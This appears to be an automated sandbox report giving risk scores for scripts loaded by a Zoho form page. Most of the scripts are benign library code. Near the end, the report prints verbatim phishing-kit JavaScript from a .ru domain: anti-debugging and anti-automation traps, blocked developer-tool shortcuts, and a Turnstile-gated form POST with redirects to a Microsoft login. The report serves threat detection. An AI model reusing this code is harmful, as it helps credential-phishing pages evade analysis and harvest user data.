"entervalidamount":"Enter\x20a\x20valid\x20amount.", "moredecimalplaces":"You\x20are\x20allowed\x20to\x20enter\x20only\x20up\x20to\x20\x7B0\x7D\x20decimals.", "maxchoicelimit":"You\x20can\x20choose\x20only\x20up\x20to\x20\x7B0\x7D\x20choice\x28s\x29.", "minchoicelimit":"You\x20must\x20choose\x20at\x20least\x20\x7B0\x7D\x20choice\x28s\x29.", "allowedimg":"Only\x20the\x20following\x20file\x20types\x20are\x20supported\x3A\x20\x7B0\x7D", "alloweddomain":"Only\x20the\x20following\x20email\x20domains\x20are\x20allowed\x3A\x20\x7B0\x7D", "restricteddomain":"The\x20following\x20domains\x20have\x20been\x20restricted\x3A\x20\x7B0\x7D", "checktcfield":"You\x20must\x20accept\x20the\x20terms\x20and\x20conditions.\x20", "chooseimg":"Choose\x20an\x20image\x20of\x20your\x20choice.", "subformentriesminlimit"
URL: https://static.zohocdn.com/forms/js/fullpageformli... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that require further review. While it does not exhibit any clear malicious intent, there are some moderate-risk indicators that warrant closer inspection. The script appears to handle various form-related functionality, including error handling, DOM manipulation, and event binding. However, the use of legacy APIs, aggressive DOM manipulation, and potential data transmission to external domains raise some concerns. Additional context and a deeper understanding of the script's purpose would be needed to provide a more definitive risk assessment." }
var ZFFullPageForm={menuItemsSpeed:350,inputClearAnimationSpeed:500,errorHideTimeOut:4e3,errorSlideDownSpeed:100,errorSlideUpSpeed:200},ZFPageTitle={},ZFPageAnimation={animType:1,pageFadeInSpeed:600,footerFadeInSpeed:600,pageFadeOutSpeed:400,footerFadeOutSpeed:400,pageLoadSpeed:100,fieldFadeOutSpeed:500,fieldFadeInSpeed:800,pageNavbarAnimTime:400};function init(isFormLoad){ZFFullPageForm.isCssHasSupported=isCssSelectorSupportedInBrowser("div:has(input)"),floatingFormComponentsHandler(),checkAndAddMiniContClass(),ZFLive.isFormPdf\|\|(initPageHeader(isFormLoad),window.addEventListener("unload",function(e){window.scrollTo(0,0)}),isFormLoad&&(setMaxWidthForDescriptionFieldImages($("div[elname=livefield-elem][reltype=parent]:visible:first").width()),bindWindowResizeEvent(),bindEventForClearIconShowOrHide($(ZFLive.formFormFieldsOuterWrapper)),showFormFirstPageComponents(),bindEvntInFirstPageSignatureComp($("div[elname=formBodyULName][page_no=1]"))))}function showFormFirstPageComponents(){$("div[elname=formBodyULName][page_no=1], div[elname=footer][page_no=1], div[elname=pageHdr]").animate({opacity:1},{duration:ZFPageAnimation.pageLoadSpeed,complete:function(){$(this).css("opacity","")}})}function bindWindowResizeEvent(){isMobileBrowser()?(window.matchMedia("(orientation: portrait)").addEventListener("change",function(e){hidePickerElems(),setTimeout(function(){setMatrixElemWidth($("div[elname=formWrapper]")),setMatrixElemHeight($("div[elname=formWrapper]"))},100),init(),scollPageNavElemIntoView(getCurrentActivePage())}),window.addEventListener("touchmove",function(e){setDatePickerPosition()})):window.visualViewport.addEventListener("resize",function(){setDatePickerPosition(),setTimeout(function(){setMatrixElemWidth($("div[elname=formWrapper]")),setMatrixElemHeight($("div[elname=formWrapper]"))},100),checkAndAddMiniContClass(),floatingFormComponentsHandler(),ZFLive.isThemePage&&initPageHeader()})}function hidePickerElems(){var currActiveDiv=$("div#formBodyDiv").find("div[elname=formBodyULName]:visible");if(currActiveDiv.length>0){var dateInpElems=$(currActiveDiv).find("input[elname=date],input[elname=dateTime]");if(dateInpElems.length>0){var datePickerSelectElems=$("#ui-datepicker-div").find("select:visible");datePickerSelectElems.length>0&&$(datePickerSelectElems).select2("close"),$(dateInpElems).datepicker("hide")}var selectElems=$(currActiveDiv).find("select:visible");selectElems.length>0&&($(".select2-dropdown").hide(),$(selectElems).select2("close")),$(currActiveDiv).find("div[phoneformat=INTERNATIONAL]").length>0&&window.dispatchEvent(new CustomEvent("scroll"));var zcrmField=$(currActiveDiv).find("div[comptype="+ZFFieldTypeConstants.ZOHO_CRM+"]");if($(zcrmField).length>0){var entryListingDiv=$("div[elname=crm-entry-listing-div]");if(0!=$(entryListingDiv).length&&$(entryListingDiv).is(":visible")){var entryULElem=$(entryListingDiv).find("ul[elname=entry-ul]");$(entryULElem).empty(),$(entryListingDiv).hide()}}}}function hideErrorOF(elem){var errMsgDiv=$(elem).find("div[name=errMsgDiv]"),errDiv=$(elem).find("div[name=errDiv]");$(elem).removeClass("error"),$(errMsgDiv).text(""),animateHideErrorMsgOF(errDiv)}function animateErrorMsgOF(elem){ZFUtil.findAndCloseHoverTextPopup(elem),"upload_field"===$(elem).attr("error_type")?animateUploadFieldErrorMsgOF(elem):(clearTimeout(ZFLive.onInputValErrTimeOut),$(elem).removeClass("zfErrorDivAnimate"),$(elem).hasClass("err_hiding")&&$(elem).hide(),ZFLive!=undefined&&ZFLive.preventHideOFError?$(elem).slideDown(ZFFullPageForm.errorSlideDownSpeed):1==$(elem).closest("div[elname='subFormFieldsUl']").length?$(elem).slideDown(ZFFullPageForm.errorSlideDownSpeed):($(elem).slideDown(ZFFullPageForm.errorSlideDownSpeed,function(){$(this).addClass("zfErrorDivAnimate")}),ZFLive.onInputValErrTimeOut=setTimeout(function(){animateHideErrorMsgOF(elem)},ZFFullPageForm.errorHideTimeOut)))}function animateUploadFieldErrorMsgOF(elem){ZFLive!=undefined&&ZFLive.preventHideOFError?$(elem).slideDown(ZFFullPageForm.errorSlideD
URL: https://static.zohocdn.com/forms/js/formsofthirdpa... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of a larger library or framework, likely the jQuery UI library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or heavily obfuscated code. The script primarily focuses on providing utility functions and extensions to the jQuery library, such as handling focus, selection, and z-index manipulation. While it uses some legacy APIs like `XDomainRequest`, these are not inherently malicious and are likely used for compatibility purposes. Overall, the script seems to be a legitimate part of a well-known and widely-used library, and the risk score is low." }
!function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):factory(jQuery)}(function($){var uuid,removeData,eventType,orig;function focusable(element,isTabIndexNotNaN){var map,mapName,img,nodeName=element.nodeName.toLowerCase();return"area"===nodeName?(mapName=(map=element.parentNode).name,!(!element.href\|\|!mapName\|\|"map"!==map.nodeName.toLowerCase())&&(!!(img=$("img[usemap='#"+mapName+"']")[0])&&visible(img))):(/^(input\|select\|textarea\|button\|object)$/.test(nodeName)?!element.disabled:"a"===nodeName&&element.href\|\|isTabIndexNotNaN)&&visible(element)}function visible(element){return $.expr.filters.visible(element)&&!$(element).parents().addBack().filter(function(){return"hidden"===$.css(this,"visibility")}).length}$.ui=$.ui\|\|{},$.extend($.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),$.fn.extend({scrollParent:function(includeHidden){var position=this.css("position"),excludeStaticParent="absolute"===position,overflowRegex=includeHidden?/(auto\|scroll\|hidden)/:/(auto\|scroll)/,scrollParent=this.parents().filter(function(){var parent=$(this);return(!excludeStaticParent\|\|"static"!==parent.css("position"))&&overflowRegex.test(parent.css("overflow")+parent.css("overflow-y")+parent.css("overflow-x"))}).eq(0);return"fixed"!==position&&scrollParent.length?scrollParent:$(this[0].ownerDocument\|\|document)},uniqueId:(uuid=0,function(){return this.each(function(){this.id\|\|(this.id="ui-id-"+ ++uuid)})}),removeUniqueId:function(){return this.each(function(){/^ui-id-\d+$/.test(this.id)&&$(this).removeAttr("id")})}}),$.extend($.expr[":"],{data:$.expr.createPseudo?$.expr.createPseudo(function(dataName){return function(elem){return!!$.data(elem,dataName)}}):function(elem,i,match){return!!$.data(elem,match[3])},focusable:function(element){return focusable(element,!isNaN($.attr(element,"tabindex")))},tabbable:function(element){var tabIndex=$.attr(element,"tabindex"),isTabIndexNaN=isNaN(tabIndex);return(isTabIndexNaN\|\|tabIndex>=0)&&focusable(element,!isTabIndexNaN)}}),$("<a>").outerWidth(1).jquery\|\|$.each(["Width","Height"],function(i,name){var side="Width"===name?["Left","Right"]:["Top","Bottom"],type=name.toLowerCase(),orig={innerWidth:$.fn.innerWidth,innerHeight:$.fn.innerHeight,outerWidth:$.fn.outerWidth,outerHeight:$.fn.outerHeight};function reduce(elem,size,border,margin){return $.each(side,function(){size-=parseFloat($.css(elem,"padding"+this))\|\|0,border&&(size-=parseFloat($.css(elem,"border"+this+"Width"))\|\|0),margin&&(size-=parseFloat($.css(elem,"margin"+this))\|\|0)}),size}$.fn["inner"+name]=function(size){return size===undefined?orig["inner"+name].call(this):this.each(function(){$(this).css(type,reduce(this,size)+"px")})},$.fn["outer"+name]=function(size,margin){return"number"!=typeof size?orig["outer"+name].call(this,size):this.each(function(){$(this).css(type,reduce(this,size,!0,margin)+"px")})}}),$.fn.addBack\|\|($.fn.addBack=function(selector){return this.add(null==selector?this.prevObject:this.prevObject.filter(selector))}),$("<a>").data("a-b","a").removeData("a-b").data("a-b")&&($.fn.removeData=(removeData=$.fn.removeData,function(key){return arguments.length?removeData.call(this,$.camelCase(key)):removeData.call(this)})),$.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),$.fn.extend({focus:(orig=$.fn.focus,function(delay,fn){return"number"==typeof delay?this.each(function(){var elem=this;setTimeout(function(){$(elem).focus(),fn&&fn.call(elem)},delay)}):orig.apply(this,arguments)}),disableSelection:(eventType="onselectstart"in document.createElement("div")?"selectstart":"mousedown",function(){return this.bind(eventType+".ui-disableSelection",function(event){event.preventDefault()})}),enableSelection:function(){return this.unbind(".ui-disableSelection")},zIndex:function(zIndex){if(zIndex!==undefined)return this.css("zIndex",zIndex);if(this.length)for(var position,value,elem=
URL: https://static.zohocdn.com/forms/js/formslive.48ca... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of a web form functionality, with some legacy practices and potential for aggressive DOM manipulation, but no clear indicators of malicious intent. The script focuses on handling form navigation, field focus, and accessibility-related adjustments, which are common in legitimate web applications. While some behaviors, such as the use of `XDomainRequest` and aggressive DOM manipulation, may raise minor concerns, the overall context suggests this is likely a benign script with poor implementation practices rather than a malicious one." }
// $Id: $ /** * IMPORTANT NOTE: This compressed js file includes Zoho Forms Forms/Report live js. */ function ZFLiveFormFocusHanderOnNavigation(actionType,pageNo){this.actionType=actionType,this.pageNo=pageNo}function ZFLiveFieldFocusHander(fieldElem,forError){this.fieldElem=fieldElem,this.isDisabledField=$(fieldElem).hasClass("fieldDisabled"),this.isFocusForError=void 0!==forError&&forError}function setFocusForElementThatCannotBeFocused(focusElem,callBackOnFocus,callBackFunctionParam){if(isSfChild(focusElem)){var scrollToViewElem=$(focusElem);if("livefield-elem"!=$(focusElem).attr("elname")){var closestFieldElem=$(focusElem).closest('[elname="livefield-elem"]');$(closestFieldElem).length>0&&(scrollToViewElem=closestFieldElem)}$(scrollToViewElem)[0].scrollIntoView({behavior:"auto",block:"center"})}if(isEmbeddedForm()&&(isMobileBrowser()\|\|isSafari()))setTimeout(function(){var hiddenInput=$("<input />");$(hiddenInput).attr("type","text"),$(hiddenInput).attr("style","position: absolute; opacity: 0; pointer-events: none"),$(focusElem).prepend(hiddenInput),$(hiddenInput).focus(),setTimeout(function(){var existingTabIndex=setTabIndexForElementAndMakeFocus(focusElem);$(hiddenInput).remove(),resetTabIndexForElementAndMakeCallBackWithTimeout(focusElem,existingTabIndex,callBackOnFocus,callBackFunctionParam)},500)},500);else{var focusTimout=0;isiOSMobileBrowser()&&(focusTimout=100),setTimeout(function(){var existingTabIndex=setTabIndexForElementAndMakeFocus(focusElem);resetTabIndexForElementAndMakeCallBackWithTimeout(focusElem,existingTabIndex,callBackOnFocus,callBackFunctionParam)},focusTimout)}}function setTabIndexForElementAndMakeFocus(focusElem){var existingTabIndex=$(focusElem).attr("tabindex");return(void 0===existingTabIndex\|\|existingTabIndex<=0)&&$(focusElem).attr("tabindex",1),$(focusElem).focus(),existingTabIndex}function resetTabIndexForElementAndMakeCallBackWithTimeout(focusElem,existingTabIndex,callBackOnFocus,callBackFunctionParam){setTimeout(function(){void 0===existingTabIndex?$(focusElem).removeAttr("tabindex"):$(focusElem).attr("tabindex",existingTabIndex),void 0!==callBackOnFocus&&callBackOnFocus(callBackFunctionParam)},500)}function ZFFormulaCondition(){this.fieldLinkName,this.operator,this.condValue,this.is_subform_child=!1,this.result=!1,this.group_name}ZFLiveFormFocusHanderOnNavigation.prototype.setFocus=function(){if("onload"==this.actionType)this.setFocusOnLoad();else if("pageNav"==this.actionType)if(isMobileBrowser()&&isEmbeddedForm()){var firstLi=$("div[elname=formBodyULName][page_no='"+this.pageNo+"']").find("div[elname=livefield-elem]:visible").first();new ZFLiveFieldFocusHander($(firstLi),!1).focusThisFieldElement()}else this.setFocusOnPageNav()},ZFLiveFormFocusHanderOnNavigation.prototype.setFocusOnLoad=function(){$(ZFPageAnimation.scrollWindow).scrollTop(0)},ZFLiveFormFocusHanderOnNavigation.prototype.setFocusOnPageNav=function(){if(ZFLive.ShowPageTitle===PageTitleOptions.NAVIGATION_BAR&&$("#navigBar").is(":visible")){var pageNeedToBeFocused=$("div#pageTitleCont").find("p[pagenum='"+this.pageNo+"']");0==$("div#pageTitleCont").length&&(pageNeedToBeFocused=$("div#navigBar").find("div[pagenum='"+this.pageNo+"']")),$(pageNeedToBeFocused).attr("tabindex",0),setFocusForElementThatCannotBeFocused(pageNeedToBeFocused)}else if(ZFLive.ShowPageTitle===PageTitleOptions.PAGE)setFocusForElementThatCannotBeFocused($("div[elname=formBodyULName][page_no='"+this.pageNo+"']").find("div[elname=formPageHeader]:first").find("h2"));else{var firstLi=$("div[elname=formBodyULName][page_no='"+this.pageNo+"']").find("div[elname=livefield-elem]:visible").first();new ZFLiveFieldFocusHander($(firstLi),!1).focusThisFieldElement()}},ZFLiveFieldFocusHander.prototype.getParentSfElem=function(){return $(this.fieldElem).closest("div[elname=subFormFieldsUl]").closest("div[elname=livefield-elem]")},ZFLiveFieldFocusHander.prototype.setErrorForSfCard=function(sfParentElem){var rowId=getClosestParentSubFormUL(sfParentElem).attr("rowid"),thisSfCardEl
URL: https://static.zohocdn.com/forms/js/formstplivejs.... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a part of the jQuery library, which is a widely used and trusted JavaScript framework. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscated code/URLs. The script is primarily focused on providing a consistent API for DOM manipulation, event handling, and other common web development tasks. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is likely benign and can be considered low risk." }
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e)\|\|(t=r(e))&&("function"!=typeof(n=v.call(t,"constructor")&&t.constructor)\|\|a.call(n)!==l))},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e))for(n=e.length;r<n&&!1!==t.call(e[r],r,e[r]);r++);else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),D=function(e,t){return e===t&&(l=!0),0},j={}.hasOwnPropert
URL: https://static.zohocdn.com/forms/js/formsselect.b9... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a part of the Select2 library, which is a popular jQuery-based library for creating custom dropdown and select elements. The code is using the 'almond' AMD loader and defining a 'select2/utils' module, which contains utility functions for the library. This code does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscation. The code is primarily focused on extending and decorating the functionality of the Select2 library, which is a legitimate use case. While the code uses some legacy practices like the 'XDomainRequest' API, these pose minor risks and are not inherently malicious. Overall, this code can be considered low risk." }
!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var c;return function(){var a,c,d;b&&b.requirejs\|\|(b?c=b:b={},function(b){function e(a,b){return u.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n=b&&b.split("/"),o=s.map,p=o&&o["*"]\|\|{};if(a&&"."===a.charAt(0))if(b){for(g=(a=a.split("/")).length-1,s.nodeIdCompat&&w.test(a[g])&&(a[g]=a[g].replace(w,"")),a=n.slice(0,n.length-1).concat(a),k=0;k<a.length;k+=1)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(1===k&&(".."===a[2]\|\|".."===a[0]))break;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}else 0===a.indexOf("./")&&(a=a.substring(2));if((n\|\|p)&&o){for(k=(c=a.split("/")).length;k>0;k-=1){if(d=c.slice(0,k).join("/"),n)for(l=n.length;l>0;l-=1)if((e=o[n.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&p&&p[d]&&(i=p[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.splice(0,h,f),a=c.join("/"))}return a}function g(a,c){return function(){var d=v.call(arguments,0);return"string"!=typeof d[0]&&1===d.length&&d.push(null),n.apply(b,d.concat([a,c]))}}function i(a){return function(b){q[a]=b}}function j(a){if(e(r,a)){var c=r[a];delete r[a],t[a]=!0,m.apply(b,c)}if(!e(q,a)&&!e(t,a))throw new Error("No "+a);return q[a]}function k(a){var b,c=a?a.indexOf("!"):-1;return c>-1&&(b=a.substring(0,c),a=a.substring(c+1,a.length)),[b,a]}var m,n,o,p,q={},r={},s={},t={},u=Object.prototype.hasOwnProperty,v=[].slice,w=/\.js$/;o=function(a,b){var c,d=k(a),e=d[0];return a=d[1],e&&(c=j(e=f(e,b))),e?a=c&&c.normalize?c.normalize(a,function(a){return function(b){return f(b,a)}}(b)):f(a,b):(e=(d=k(a=f(a,b)))[0],a=d[1],e&&(c=j(e))),{f:e?e+"!"+a:a,n:a,pr:e,p:c}},p={require:function(a){return g(a)},exports:function(a){var b=q[a];return void 0!==b?b:q[a]={}},module:function(a){return{id:a,uri:"",exports:q[a],config:function(a){return function(){return s&&s.config&&s.config[a]\|\|{}}}(a)}}},m=function(a,c,d,f){var h,k,l,m,n,s,u=[],v=typeof d;if(f=f\|\|a,"undefined"===v\|\|"function"===v){for(c=!c.length&&d.length?["require","exports","module"]:c,n=0;n<c.length;n+=1)if("require"===(k=(m=o(c[n],f)).f))u[n]=p.require(a);else if("exports"===k)u[n]=p.exports(a),s=!0;else if("module"===k)h=u[n]=p.module(a);else if(e(q,k)\|\|e(r,k)\|\|e(t,k))u[n]=j(k);else{if(!m.p)throw new Error(a+" missing "+k);m.p.load(m.n,g(f,!0),i(k),{}),u[n]=q[k]}l=d?d.apply(q[a],u):void 0,a&&(h&&h.exports!==b&&h.exports!==q[a]?q[a]=h.exports:l===b&&s\|\|(q[a]=l))}else a&&(q[a]=d)},a=c=n=function(a,c,d,e,f){if("string"==typeof a)return p[a]?p[a](c):j(o(a,c).f);if(!a.splice){if((s=a).deps&&n(s.deps,s.callback),!c)return;c.splice?(a=c,c=d,d=null):a=b}return c=c\|\|function(){},"function"==typeof d&&(d=e,e=f),e?m(b,a,c,d):setTimeout(function(){m(b,a,c,d)},4),n},n.config=function(a){return n(a)},a._defined=q,(d=function(a,b,c){if("string"!=typeof a)throw new Error("See almond README: incorrect module build, no module name");b.splice\|\|(c=b,b=[]),e(q,a)\|\|e(r,a)\|\|(r[a]=[a,b,c])}).amd={jQuery:!0}}(),b.requirejs=a,b.require=c,b.define=d)}(),b.define("almond",function(){}),b.define("jquery",[],function(){var b=a\|\|$;return null==b&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),b}),b.define("select2/utils",["jquery"],function(a){function b(a){var b=a.prototype,c=[];for(var d in b){"function"==typeof b[d]&&"constructor"!==d&&c.push(d)}return c}var c={Extend:function(a,b){function c(){this.constructor=a}var d={}.hasOwnProperty;for(var e in b)d.call(b,e)&&(a[e]=b[e]);return c.prototype=b.prototype,a.prototype=new c,a.__super__=b.prototype,a},Decorate:function(a,c){function d(){var b=Array.prototype.unshift,d=c.prototype.constructor.length,e=a.prototype.constructor;d>0&&(b.call(arguments,a.prototype.constructor),e=c.prototype.constructor),e.apply(this,arguments)}var f=b(c)
URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false, "page_classification": "unknown" }

URL: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to a suspicious login page. These behaviors are highly indicative of malicious intent, such as preventing analysis, obstructing security researchers, and potentially phishing for user credentials." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); aCqGbxcKWf = false; (function WDDpKWEHMd() { let JkbyaziqxY = false; const cXJHXhwfwT = 100; setInterval(function() { const apyqWHUYCb = performance.now(); debugger; const FepOEGvuVz = performance.now(); if (FepOEGvuVz - apyqWHUYCb > cXJHXhwfwT && !JkbyaziqxY) { aCqGbxcKWf = true; JkbyaziqxY = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It uses the `turnstile.render()` function to render a form, but also sets up event handlers and makes multiple network requests to potentially malicious domains. The script appears to be collecting user data and redirecting users to a Microsoft login page, which is highly suspicious behavior indicative of a phishing or malware attempt." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA5XFStEU8QXcfg8', 'error-callback': OntgkDNeip, callback: JTerqrZiWZ, }); function OntgkDNeip() { turnstile.reset(); } function JTerqrZiWZ() { var HLgktqYJWM = document.getElementById("gZQHQcLuew"); HLgktqYJWM.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'gu8d7L'; var tQycYAnarq = "../rmiw28dfvk3yJUG5A5k1dW6g4qqs98BNyo"; fetch('https://ZfGARj9JUo9LEBQ8HY2wndXZZivyLFicpVZCP41k7utcwgpnLYTR06gAF1m.gageodeg.ru/wginwijaxuokewuwJtTeftSgPDRJKVRJYEHDKUHUICHDYJATUWUZMJPHAERLVQIOHGCAQWMUC', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(tQycYAnarq, { method: "POST", body: new FormData(HLgktqYJWM) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(aCqGbxcKWf == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://challenges.cloudflare.com/cdn-cgi/challeng... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This script appears to be a Cloudflare challenge script, which is a common security mechanism used to protect websites from bots and other malicious activity. While the script contains some obfuscated code and makes external requests, it is likely part of a legitimate security solution and not a malicious script. However, the extensive use of obfuscation and the presence of some potentially sensitive data being sent to external domains warrant a medium risk score for further review." }
